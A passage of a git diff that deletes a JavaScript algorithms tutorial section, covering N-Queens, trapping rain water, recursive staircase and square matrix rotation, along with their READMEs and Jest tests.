-            (rightDiagonal | firstAvailablePosition) << 1,
-            solutionsCount
-        );
-    }
-    return currentSolutionsCount;
-}
-/**
- * @param {number} boardSize - Size of the squared chess board.
- * @return {number} - Number of possible solutions.
- * @see http://gregtrowbridge.com/a-bitwise-solution-to-the-n-queens-problem-in-javascript/
- */
-export default function nQueensBitwise(boardSize) {
-    return nQueensBitwiseRecursive(boardSize);
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/test/QueensPosition.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/test/QueensPosition.test.js
deleted file mode 100644
index 6074959b56..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/test/QueensPosition.test.js
+++ /dev/null
@@ -1,14 +0,0 @@
-import QueenPosition from '../QueenPosition';
-describe('QueenPosition', () => {
-    it('should store queen position on chessboard', () => {
-        const position1 = new QueenPosition(0, 0);
-        const position2 = new QueenPosition(2, 1);
-        expect(position2.columnIndex).toBe(1);
-        expect(position2.rowIndex).toBe(2);
-        expect(position1.leftDiagonal).toBe(0);
-        expect(position1.rightDiagonal).toBe(0);
-        expect(position2.leftDiagonal).toBe(1);
-        expect(position2.rightDiagonal).toBe(3);
-        expect(position2.toString()).toBe('2,1');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/test/nQueens.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/test/nQueens.test.js
deleted file mode 100644
index cc0491bb04..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/test/nQueens.test.js
+++ /dev/null
@@ -1,32 +0,0 @@
-import nQueens from '../nQueens';
-describe('nQueens', () => {
-    it('should not hae solution for 3 queens', () => {
-        const solutions = nQueens(3);
-        expect(solutions.length).toBe(0);
-    });
-    it('should solve n-queens problem for 4 queens', () => {
-        const solutions = nQueens(4);
-        expect(solutions.length).toBe(2);
-        // First solution.
-        expect(solutions[0][0].toString()).toBe('0,1');
-        expect(solutions[0][1].toString()).toBe('1,3');
-        expect(solutions[0][2].toString()).toBe('2,0');
-        expect(solutions[0][3].toString()).toBe('3,2');
-        // Second solution (mirrored).
-        expect(solutions[1][0].toString()).toBe('0,2');
-        expect(solutions[1][1].toString()).toBe('1,0');
-        expect(solutions[1][2].toString()).toBe('2,3');
-        expect(solutions[1][3].toString()).toBe('3,1');
-    });
-    it('should solve n-queens problem for 6 queens', () => {
-        const solutions = nQueens(6);
-        expect(solutions.length).toBe(4);
-        // First solution.
-        expect(solutions[0][0].toString()).toBe('0,1');
-        expect(solutions[0][1].toString()).toBe('1,3');
-        expect(solutions[0][2].toString()).toBe('2,5');
-        expect(solutions[0][3].toString()).toBe('3,0');
-        expect(solutions[0][4].toString()).toBe('4,2');
-        expect(solutions[0][5].toString()).toBe('5,4');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/test/nQueensBitwise.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/test/nQueensBitwise.test.js
deleted file mode 100644
index 3f2a038fc6..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/test/nQueensBitwise.test.js
+++ /dev/null
@@ -1,13 +0,0 @@
-import nQueensBitwise from '../nQueensBitwise';
-describe('nQueensBitwise', () => {
-    it('should have solutions for 4 to N queens', () => {
-        expect(nQueensBitwise(4)).toBe(2);
-        expect(nQueensBitwise(5)).toBe(10);
-        expect(nQueensBitwise(6)).toBe(4);
-        expect(nQueensBitwise(7)).toBe(40);
-        expect(nQueensBitwise(8)).toBe(92);
-        expect(nQueensBitwise(9)).toBe(352);
-        expect(nQueensBitwise(10)).toBe(724);
-        expect(nQueensBitwise(11)).toBe(2680);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/rain-terraces/README.md b/docs/content/DS_ALGO/algorithms/uncategorized/rain-terraces/README.md
deleted file mode 100644
index fa796ce114..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/rain-terraces/README.md
+++ /dev/null
@@ -1,122 +0,0 @@
-# Rain Terraces (Trapping Rain Water) Problem
-
-Given an array of non-negative integers representing terraces in an elevation map
-where the width of each bar is `1`, compute how much water it is able to trap
-after raining.
-
-![Rain Terraces](https://www.geeksforgeeks.org/wp-content/uploads/watertrap.png)
-
-## Examples
-
-**Example #1**
-
-```
-Input: arr[] = [2, 0, 2]
-Output: 2
-Structure is like below:
-
-| |
-|_|
-
-We can trap 2 units of water in the middle gap.
-```
-
-**Example #2**
-
-```
-Input: arr[] = [3, 0, 0, 2, 0, 4]
-Output: 10
-Structure is like below:
-
-     |
-|    |
-|  | |
-|__|_|
-
-We can trap "3*2 units" of water between 3 an 2,
-"1 unit" on top of bar 2 and "3 units" between 2
-and 4. See below diagram also.
-```
-
-**Example #3**
-
-```
-Input: arr[] = [0, 1, 0, 2, 1, 0, 1, 3, 2, 1, 2, 1]
-Output: 6
-Structure is like below:
-
-       |
-   |   || |
-_|_||_||||||
-
-Trap "1 unit" between first 1 and 2, "4 units" between
-first 2 and 3 and "1 unit" between second last 1 and last 2.
-```
-
-## The Algorithm
-
-An element of array can store water if there are higher bars on left and right.
-We can find amount of water to be stored in every element by finding the heights
-of bars on left and right sides. The idea is to compute amount of water that can
-be stored in every element of array. For example, consider the array
-`[3, 0, 0, 2, 0, 4]`, We can trap "3\*2 units" of water between 3 an 2, "1 unit"
-on top of bar 2 and "3 units" between 2 and 4. See below diagram also.
-
-### Approach 1: Brute force
-
-**Intuition**
-
-For each element in the array, we find the maximum level of water it can trap
-after the rain, which is equal to the minimum of maximum height of bars on both
-the sides minus its own height.
-
-**Steps**
-
--   Initialize `answer = 0`
--   Iterate the array from left to right:
-    -   Initialize `max_left = 0` and `max_right = 0`
-    -   Iterate from the current element to the beginning of array updating: `max_left = max(max_left, height[j])`
-    -   Iterate from the current element to the end of array updating: `max_right = max(max_right, height[j])`
-    -   Add `min(max_left, max_right) − height[i]` to `answer`
-
-**Complexity Analysis**
-
-Time complexity: `O(n^2)`. For each element of array, we iterate the left and right parts.
-
-Auxiliary space complexity: `O(1)` extra space.
-
-### Approach 2: Dynamic Programming
-
-**Intuition**
-
-In brute force, we iterate over the left and right parts again and again just to
-find the highest bar size up to that index. But, this could be stored. Voila,
-dynamic programming.
-
-So we may pre-compute highest bar on left and right of every bar in `O(n)` time.
-Then use these pre-computed values to find the amount of water in every array element.
-
-The concept is illustrated as shown:
-
-![DP Trapping Rain Water](https://leetcode.com/problems/trapping-rain-water/Figures/42/trapping_rain_water.png)
-
-**Steps**
-
--   Find maximum height of bar from the left end up to an index `i` in the array `left_max`.
--   Find maximum height of bar from the right end up to an index `i` in the array `right_max`.
--   Iterate over the `height` array and update `answer`:
-    -   Add `min(max_left[i], max_right[i]) − height[i]` to `answer`.
-
-**Complexity Analysis**
-
-Time complexity: `O(n)`. We store the maximum heights upto a point using 2
-iterations of `O(n)` each. We finally update `answer` using the stored
-values in `O(n)`.
-
-Auxiliary space complexity: `O(n)` extra space. Additional space
-for `left_max` and `right_max` arrays than in Approach 1.
-
-## References
-
--   [GeeksForGeeks](https://www.geeksforgeeks.org/trapping-rain-water/)
--   [LeetCode](https://leetcode.com/problems/trapping-rain-water/solution/)
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/rain-terraces/bfRainTerraces.js b/docs/content/DS_ALGO/algorithms/uncategorized/rain-terraces/bfRainTerraces.js
deleted file mode 100644
index 7f608eeab8..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/rain-terraces/bfRainTerraces.js
+++ /dev/null
@@ -1,29 +0,0 @@
-/**
- * BRUTE FORCE approach of solving Trapping Rain Water problem.
- *
- * @param {number[]} terraces
- * @return {number}
- */
-export default function bfRainTerraces(terraces) {
-    let waterAmount = 0;
-    for (let terraceIndex = 0; terraceIndex < terraces.length; terraceIndex += 1) {
-        // Get left most high terrace.
-        let leftHighestLevel = 0;
-        for (let leftIndex = terraceIndex - 1; leftIndex >= 0; leftIndex -= 1) {
-            leftHighestLevel = Math.max(leftHighestLevel, terraces[leftIndex]);
-        }
-        // Get right most high terrace.
-        let rightHighestLevel = 0;
-        for (let rightIndex = terraceIndex + 1; rightIndex < terraces.length; rightIndex += 1) {
-            rightHighestLevel = Math.max(rightHighestLevel, terraces[rightIndex]);
-        }
-        // Add current terrace water amount.
-        const terraceBoundaryLevel = Math.min(leftHighestLevel, rightHighestLevel);
-        if (terraceBoundaryLevel > terraces[terraceIndex]) {
-            // Terrace will be able to store the water if the lowest of two left and right highest
-            // terraces are still higher than the current one.
-            waterAmount += terraceBoundaryLevel - terraces[terraceIndex];
-        }
-    }
-    return waterAmount;
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/rain-terraces/dpRainTerraces.js b/docs/content/DS_ALGO/algorithms/uncategorized/rain-terraces/dpRainTerraces.js
deleted file mode 100644
index 1f210ef484..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/rain-terraces/dpRainTerraces.js
+++ /dev/null
@@ -1,32 +0,0 @@
-/**
- * DYNAMIC PROGRAMMING approach of solving Trapping Rain Water problem.
- *
- * @param {number[]} terraces
- * @return {number}
- */
-export default function dpRainTerraces(terraces) {
-    let waterAmount = 0;
-    // Init arrays that will keep the list of left and right maximum levels for specific positions.
-    const leftMaxLevels = new Array(terraces.length).fill(0);
-    const rightMaxLevels = new Array(terraces.length).fill(0);
-    // Calculate the highest terrace level from the LEFT relative to the current terrace.
-    [leftMaxLevels[0]] = terraces;
-    for (let terraceIndex = 1; terraceIndex < terraces.length; terraceIndex += 1) {
-        leftMaxLevels[terraceIndex] = Math.max(terraces[terraceIndex], leftMaxLevels[terraceIndex - 1]);
-    }
-    // Calculate the highest terrace level from the RIGHT relative to the current terrace.
-    rightMaxLevels[terraces.length - 1] = terraces[terraces.length - 1];
-    for (let terraceIndex = terraces.length - 2; terraceIndex >= 0; terraceIndex -= 1) {
-        rightMaxLevels[terraceIndex] = Math.max(terraces[terraceIndex], rightMaxLevels[terraceIndex + 1]);
-    }
-    // Not let's go through all terraces one by one and calculate how much water
-    // each terrace may accumulate based on previously calculated values.
-    for (let terraceIndex = 0; terraceIndex < terraces.length; terraceIndex += 1) {
-        // Pick the lowest from the left/right highest terraces.
-        const currentTerraceBoundary = Math.min(leftMaxLevels[terraceIndex], rightMaxLevels[terraceIndex]);
-        if (currentTerraceBoundary > terraces[terraceIndex]) {
-            waterAmount += currentTerraceBoundary - terraces[terraceIndex];
-        }
-    }
-    return waterAmount;
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/rain-terraces/test/bfRainTerraces.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/rain-terraces/test/bfRainTerraces.test.js
deleted file mode 100644
index 147563ec2c..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/rain-terraces/test/bfRainTerraces.test.js
+++ /dev/null
@@ -1,20 +0,0 @@
-import bfRainTerraces from '../bfRainTerraces';
-describe('bfRainTerraces', () => {
-    it('should find the amount of water collected after raining', () => {
-        expect(bfRainTerraces([1])).toBe(0);
-        expect(bfRainTerraces([1, 0])).toBe(0);
-        expect(bfRainTerraces([0, 1])).toBe(0);
-        expect(bfRainTerraces([0, 1, 0])).toBe(0);
-        expect(bfRainTerraces([0, 1, 0, 0])).toBe(0);
-        expect(bfRainTerraces([0, 1, 0, 0, 1, 0])).toBe(2);
-        expect(bfRainTerraces([0, 2, 0, 0, 1, 0])).toBe(2);
-        expect(bfRainTerraces([2, 0, 2])).toBe(2);
-        expect(bfRainTerraces([2, 0, 5])).toBe(2);
-        expect(bfRainTerraces([3, 0, 0, 2, 0, 4])).toBe(10);
-        expect(bfRainTerraces([0, 1, 0, 2, 1, 0, 1, 3, 2, 1, 2, 1])).toBe(6);
-        expect(bfRainTerraces([1, 1, 1, 1, 1])).toBe(0);
-        expect(bfRainTerraces([1, 2, 3, 4, 5])).toBe(0);
-        expect(bfRainTerraces([4, 1, 3, 1, 2, 1, 2, 1])).toBe(4);
-        expect(bfRainTerraces([0, 2, 4, 3, 4, 2, 4, 0, 8, 7, 0])).toBe(7);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/rain-terraces/test/dpRainTerraces.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/rain-terraces/test/dpRainTerraces.test.js
deleted file mode 100644
index 64f402d98a..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/rain-terraces/test/dpRainTerraces.test.js
+++ /dev/null
@@ -1,20 +0,0 @@
-import dpRainTerraces from '../dpRainTerraces';
-describe('dpRainTerraces', () => {
-    it('should find the amount of water collected after raining', () => {
-        expect(dpRainTerraces([1])).toBe(0);
-        expect(dpRainTerraces([1, 0])).toBe(0);
-        expect(dpRainTerraces([0, 1])).toBe(0);
-        expect(dpRainTerraces([0, 1, 0])).toBe(0);
-        expect(dpRainTerraces([0, 1, 0, 0])).toBe(0);
-        expect(dpRainTerraces([0, 1, 0, 0, 1, 0])).toBe(2);
-        expect(dpRainTerraces([0, 2, 0, 0, 1, 0])).toBe(2);
-        expect(dpRainTerraces([2, 0, 2])).toBe(2);
-        expect(dpRainTerraces([2, 0, 5])).toBe(2);
-        expect(dpRainTerraces([3, 0, 0, 2, 0, 4])).toBe(10);
-        expect(dpRainTerraces([0, 1, 0, 2, 1, 0, 1, 3, 2, 1, 2, 1])).toBe(6);
-        expect(dpRainTerraces([1, 1, 1, 1, 1])).toBe(0);
-        expect(dpRainTerraces([1, 2, 3, 4, 5])).toBe(0);
-        expect(dpRainTerraces([4, 1, 3, 1, 2, 1, 2, 1])).toBe(4);
-        expect(dpRainTerraces([0, 2, 4, 3, 4, 2, 4, 0, 8, 7, 0])).toBe(7);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/README.md b/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/README.md
deleted file mode 100644
index d26f63cf4f..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/README.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# Recursive Staircase Problem
-
-## The Problem
-
-There are `n` stairs, a person standing at the bottom wants to reach the top. The person can climb either `1` or `2` stairs at a time. _Count the number of ways, the person can reach the top._
-
-![](https://cdncontribute.geeksforgeeks.org/wp-content/uploads/nth-stair.png)
-
-## The Solution
-
-This is an interesting problem because there are several ways of how it may be solved that illustrate different programming paradigms.
-
--   [Brute Force Recursive Solution](./recursiveStaircaseBF.js) - Time: `O(2^n)`; Space: `O(1)`
--   [Recursive Solution With Memoization](./recursiveStaircaseMEM.js) - Time: `O(n)`; Space: `O(n)`
--   [Dynamic Programming Solution](./recursiveStaircaseDP.js) - Time: `O(n)`; Space: `O(n)`
--   [Iterative Solution](./recursiveStaircaseIT.js) - Time: `O(n)`; Space: `O(1)`
-
-## References
-
--   [On YouTube by Gayle Laakmann McDowell](https://www.youtube.com/watch?v=eREiwuvzaUM&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=81&t=0s)
--   [GeeksForGeeks](https://www.geeksforgeeks.org/count-ways-reach-nth-stair/)
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/recursiveStaircaseBF.js b/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/recursiveStaircaseBF.js
deleted file mode 100644
index d05220cc81..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/recursiveStaircaseBF.js
+++ /dev/null
@@ -1,24 +0,0 @@
-/**
- * Recursive Staircase Problem (Brute Force Solution).
- *
- * @param {number} stairsNum - Number of stairs to climb on.
- * @return {number} - Number of ways to climb a staircase.
- */
-export default function recursiveStaircaseBF(stairsNum) {
-    if (stairsNum <= 0) {
-        // There is no way to go down - you climb the stairs only upwards.
-        // Also if you're standing on the ground floor that you don't need to do any further steps.
-        return 0;
-    }
-    if (stairsNum === 1) {
-        // There is only one way to go to the first step.
-        return 1;
-    }
-    if (stairsNum === 2) {
-        // There are two ways to get to the second steps: (1 + 1) or (2).
-        return 2;
-    }
-    // Sum up how many steps we need to take after doing one step up with the number of
-    // steps we need to take after doing two steps up.
-    return recursiveStaircaseBF(stairsNum - 1) + recursiveStaircaseBF(stairsNum - 2);
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/recursiveStaircaseDP.js b/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/recursiveStaircaseDP.js
deleted file mode 100644
index e95be213b9..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/recursiveStaircaseDP.js
+++ /dev/null
@@ -1,28 +0,0 @@
-/**
- * Recursive Staircase Problem (Dynamic Programming Solution).
- *
- * @param {number} stairsNum - Number of stairs to climb on.
- * @return {number} - Number of ways to climb a staircase.
- */
-export default function recursiveStaircaseDP(stairsNum) {
-    if (stairsNum < 0) {
-        // There is no way to go down - you climb the stairs only upwards.
-        return 0;
-    }
-    // Init the steps vector that will hold all possible ways to get to the corresponding step.
-    const steps = new Array(stairsNum + 1).fill(0);
-    // Init the number of ways to get to the 0th, 1st and 2nd steps.
-    steps[0] = 0;
-    steps[1] = 1;
-    steps[2] = 2;
-    if (stairsNum <= 2) {
-        // Return the number of ways to get to the 0th or 1st or 2nd steps.
-        return steps[stairsNum];
-    }
-    // Calculate every next step based on two previous ones.
-    for (let currentStep = 3; currentStep <= stairsNum; currentStep += 1) {
-        steps[currentStep] = steps[currentStep - 1] + steps[currentStep - 2];
-    }
-    // Return possible ways to get to the requested step.
-    return steps[stairsNum];
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/recursiveStaircaseIT.js b/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/recursiveStaircaseIT.js
deleted file mode 100644
index c4286d1076..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/recursiveStaircaseIT.js
+++ /dev/null
@@ -1,27 +0,0 @@
-/**
- * Recursive Staircase Problem (Iterative Solution).
- *
- * @param {number} stairsNum - Number of stairs to climb on.
- * @return {number} - Number of ways to climb a staircase.
- */
-export default function recursiveStaircaseIT(stairsNum) {
-    if (stairsNum <= 0) {
-        // There is no way to go down - you climb the stairs only upwards.
-        // Also you don't need to do anything to stay on the 0th step.
-        return 0;
-    }
-    // Init the number of ways to get to the 0th, 1st and 2nd steps.
-    const steps = [1, 2];
-    if (stairsNum <= 2) {
-        // Return the number of possible ways of how to get to the 1st or 2nd steps.
-        return steps[stairsNum - 1];
-    }
-    // Calculate the number of ways to get to the n'th step based on previous ones.
-    // Comparing to Dynamic Programming solution we don't store info for all the steps but
-    // rather for two previous ones only.
-    for (let currentStep = 3; currentStep <= stairsNum; currentStep += 1) {
-        [steps[0], steps[1]] = [steps[1], steps[0] + steps[1]];
-    }
-    // Return possible ways to get to the requested step.
-    return steps[1];
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/recursiveStaircaseMEM.js b/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/recursiveStaircaseMEM.js
deleted file mode 100644
index 2e755d1578..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/recursiveStaircaseMEM.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/**
- * Recursive Staircase Problem (Recursive Solution With Memoization).
- *
- * @param {number} totalStairs - Number of stairs to climb on.
- * @return {number} - Number of ways to climb a staircase.
- */
-export default function recursiveStaircaseMEM(totalStairs) {
-    // Memo table that will hold all recursively calculated results to avoid calculating them
-    // over and over again.
-    const memo = [];
-    // Recursive closure.
-    const getSteps = (stairsNum) => {
-        if (stairsNum <= 0) {
-            // There is no way to go down - you climb the stairs only upwards.
-            // Also if you're standing on the ground floor that you don't need to do any further steps.
-            return 0;
-        }
-        if (stairsNum === 1) {
-            // There is only one way to go to the first step.
-            return 1;
-        }
-        if (stairsNum === 2) {
-            // There are two ways to get to the second steps: (1 + 1) or (2).
-            return 2;
-        }
-        // Avoid recursion for the steps that we've calculated recently.
-        if (memo[stairsNum]) {
-            return memo[stairsNum];
-        }
-        // Sum up how many steps we need to take after doing one step up with the number of
-        // steps we need to take after doing two steps up.
-        memo[stairsNum] = getSteps(stairsNum - 1) + getSteps(stairsNum - 2);
-        return memo[stairsNum];
-    };
-    // Return possible ways to get to the requested step.
-    return getSteps(totalStairs);
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/test/recursiveStaircaseBF.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/test/recursiveStaircaseBF.test.js
deleted file mode 100644
index 745e7c947f..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/test/recursiveStaircaseBF.test.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import recursiveStaircaseBF from '../recursiveStaircaseBF';
-describe('recursiveStaircaseBF', () => {
-    it('should calculate number of variants using Brute Force solution', () => {
-        expect(recursiveStaircaseBF(-1)).toBe(0);
-        expect(recursiveStaircaseBF(0)).toBe(0);
-        expect(recursiveStaircaseBF(1)).toBe(1);
-        expect(recursiveStaircaseBF(2)).toBe(2);
-        expect(recursiveStaircaseBF(3)).toBe(3);
-        expect(recursiveStaircaseBF(4)).toBe(5);
-        expect(recursiveStaircaseBF(5)).toBe(8);
-        expect(recursiveStaircaseBF(6)).toBe(13);
-        expect(recursiveStaircaseBF(7)).toBe(21);
-        expect(recursiveStaircaseBF(8)).toBe(34);
-        expect(recursiveStaircaseBF(9)).toBe(55);
-        expect(recursiveStaircaseBF(10)).toBe(89);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/test/recursiveStaircaseDP.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/test/recursiveStaircaseDP.test.js
deleted file mode 100644
index d225fdfa3b..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/test/recursiveStaircaseDP.test.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import recursiveStaircaseDP from '../recursiveStaircaseDP';
-describe('recursiveStaircaseDP', () => {
-    it('should calculate number of variants using Dynamic Programming solution', () => {
-        expect(recursiveStaircaseDP(-1)).toBe(0);
-        expect(recursiveStaircaseDP(0)).toBe(0);
-        expect(recursiveStaircaseDP(1)).toBe(1);
-        expect(recursiveStaircaseDP(2)).toBe(2);
-        expect(recursiveStaircaseDP(3)).toBe(3);
-        expect(recursiveStaircaseDP(4)).toBe(5);
-        expect(recursiveStaircaseDP(5)).toBe(8);
-        expect(recursiveStaircaseDP(6)).toBe(13);
-        expect(recursiveStaircaseDP(7)).toBe(21);
-        expect(recursiveStaircaseDP(8)).toBe(34);
-        expect(recursiveStaircaseDP(9)).toBe(55);
-        expect(recursiveStaircaseDP(10)).toBe(89);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/test/recursiveStaircaseIT.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/test/recursiveStaircaseIT.test.js
deleted file mode 100644
index 9fc10f3c4e..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/test/recursiveStaircaseIT.test.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import recursiveStaircaseIT from '../recursiveStaircaseIT';
-describe('recursiveStaircaseIT', () => {
-    it('should calculate number of variants using Iterative solution', () => {
-        expect(recursiveStaircaseIT(-1)).toBe(0);
-        expect(recursiveStaircaseIT(0)).toBe(0);
-        expect(recursiveStaircaseIT(1)).toBe(1);
-        expect(recursiveStaircaseIT(2)).toBe(2);
-        expect(recursiveStaircaseIT(3)).toBe(3);
-        expect(recursiveStaircaseIT(4)).toBe(5);
-        expect(recursiveStaircaseIT(5)).toBe(8);
-        expect(recursiveStaircaseIT(6)).toBe(13);
-        expect(recursiveStaircaseIT(7)).toBe(21);
-        expect(recursiveStaircaseIT(8)).toBe(34);
-        expect(recursiveStaircaseIT(9)).toBe(55);
-        expect(recursiveStaircaseIT(10)).toBe(89);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/test/recursiveStaircaseMEM.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/test/recursiveStaircaseMEM.test.js
deleted file mode 100644
index d89054c3db..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/recursive-staircase/test/recursiveStaircaseMEM.test.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import recursiveStaircaseMEM from '../recursiveStaircaseMEM';
-describe('recursiveStaircaseMEM', () => {
-    it('should calculate number of variants using Brute Force with Memoization', () => {
-        expect(recursiveStaircaseMEM(-1)).toBe(0);
-        expect(recursiveStaircaseMEM(0)).toBe(0);
-        expect(recursiveStaircaseMEM(1)).toBe(1);
-        expect(recursiveStaircaseMEM(2)).toBe(2);
-        expect(recursiveStaircaseMEM(3)).toBe(3);
-        expect(recursiveStaircaseMEM(4)).toBe(5);
-        expect(recursiveStaircaseMEM(5)).toBe(8);
-        expect(recursiveStaircaseMEM(6)).toBe(13);
-        expect(recursiveStaircaseMEM(7)).toBe(21);
-        expect(recursiveStaircaseMEM(8)).toBe(34);
-        expect(recursiveStaircaseMEM(9)).toBe(55);
-        expect(recursiveStaircaseMEM(10)).toBe(89);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/square-matrix-rotation/README.md b/docs/content/DS_ALGO/algorithms/uncategorized/square-matrix-rotation/README.md
deleted file mode 100644
index 92f7ec26ee..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/square-matrix-rotation/README.md
+++ /dev/null
@@ -1,110 +0,0 @@
-# Square Matrix In-Place Rotation
-
-## The Problem
-
-You are given an `n x n` 2D matrix (representing an image).
-Rotate the matrix by `90` degrees (clockwise).
-
-**Note**
-
-You have to rotate the image **in-place**, which means you
-have to modify the input 2D matrix directly. **DO NOT** allocate
-another 2D matrix and do the rotation.
-
-## Examples
-
-**Example #1**
-
-Given input matrix:
-
-```
-[
-  [1, 2, 3],
-  [4, 5, 6],
-  [7, 8, 9],
-]
-```
-
-Rotate the input matrix in-place such that it becomes:
-
-```
-[
-  [7, 4, 1],
-  [8, 5, 2],
-  [9, 6, 3],
-]
-```
-
-**Example #2**
-
-Given input matrix:
-
-```
-[
-  [5, 1, 9, 11],
-  [2, 4, 8, 10],
-  [13, 3, 6, 7],
-  [15, 14, 12, 16],
-]
-```
-
-Rotate the input matrix in-place such that it becomes:
-
-```
-[
-  [15, 13, 2, 5],
-  [14, 3, 4, 1],
-  [12, 6, 8, 9],
-  [16, 7, 10, 11],
-]
-```
-
-## Algorithm
-
-We would need to do two reflections of the matrix:
-
--   reflect vertically
--   reflect diagonally from bottom-left to top-right
-
-Or we also could Furthermore, you can reflect diagonally
-top-left/bottom-right and reflect horizontally.
-
-A common question is how do you even figure out what kind
-of reflections to do? Simply rip a square piece of paper,
-write a random word on it so you know its rotation. Then,
-flip the square piece of paper around until you figure out
-how to come to the solution.
-
-Here is an example of how first line may be rotated using
-diagonal top-right/bottom-left rotation along with horizontal
-rotation.
-
-```
-Let's say we have a string at the top of the matrix:
-
-A B C
-• • •
-• • •
-
-Let's do top-right/bottom-left diagonal reflection:
-
-A B C
-/ / •
-/ • •
-
-And now let's do horizontal reflection:
-
-A → →
-B → →
-C → →
-
-The string has been rotated to 90 degree:
-
-• • A
-• • B
-• • C
-```
-
-## References
-
--   [LeetCode](https://leetcode.com/problems/rotate-image/description/)
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/square-matrix-rotation/squareMatrixRotation.js b/docs/content/DS_ALGO/algorithms/uncategorized/square-matrix-rotation/squareMatrixRotation.js
deleted file mode 100644
index 971ac6e37c..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/square-matrix-rotation/squareMatrixRotation.js
+++ /dev/null
@@ -1,25 +0,0 @@
-/**
- * @param {*[][]} originalMatrix
- * @return {*[][]}
- */
-export default function squareMatrixRotation(originalMatrix) {
-    const matrix = originalMatrix.slice();
-    // Do top-right/bottom-left diagonal reflection of the matrix.
-    for (let rowIndex = 0; rowIndex < matrix.length; rowIndex += 1) {
-        for (let columnIndex = rowIndex + 1; columnIndex < matrix.length; columnIndex += 1) {
-            // Swap elements.
-            [matrix[columnIndex][rowIndex], matrix[rowIndex][columnIndex]] = [matrix[rowIndex][columnIndex], matrix[columnIndex][rowIndex]];
-        }
-    }
-    // Do horizontal reflection of the matrix.
-    for (let rowIndex = 0; rowIndex < matrix.length; rowIndex += 1) {
-        for (let columnIndex = 0; columnIndex < matrix.length / 2; columnIndex += 1) {
-            // Swap elements.
-            [matrix[rowIndex][matrix.length - columnIndex - 1], matrix[rowIndex][columnIndex]] = [
-                matrix[rowIndex][columnIndex],
-                matrix[rowIndex][matrix.length - columnIndex - 1]
-            ];
-        }
-    }
-    return matrix;
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/square-matrix-rotation/test/squareMatrixRotation.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/square-matrix-rotation/test/squareMatrixRotation.test.js
deleted file mode 100644
index d6293ccf72..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/square-matrix-rotation/test/squareMatrixRotation.test.js
+++ /dev/null
@@ -1,47 +0,0 @@
-import squareMatrixRotation from '../squareMatrixRotation';
-describe('squareMatrixRotation', () => {
-    it('should rotate matrix #0 in-place', () => {
-        const matrix = [[1]];
-        const rotatedMatrix = [[1]];
-        expect(squareMatrixRotation(matrix)).toEqual(rotatedMatrix);
-    });
-    it('should rotate matrix #1 in-place', () => {
-        const matrix = [
-            [1, 2],
-            [3, 4]
-        ];
-        const rotatedMatrix = [
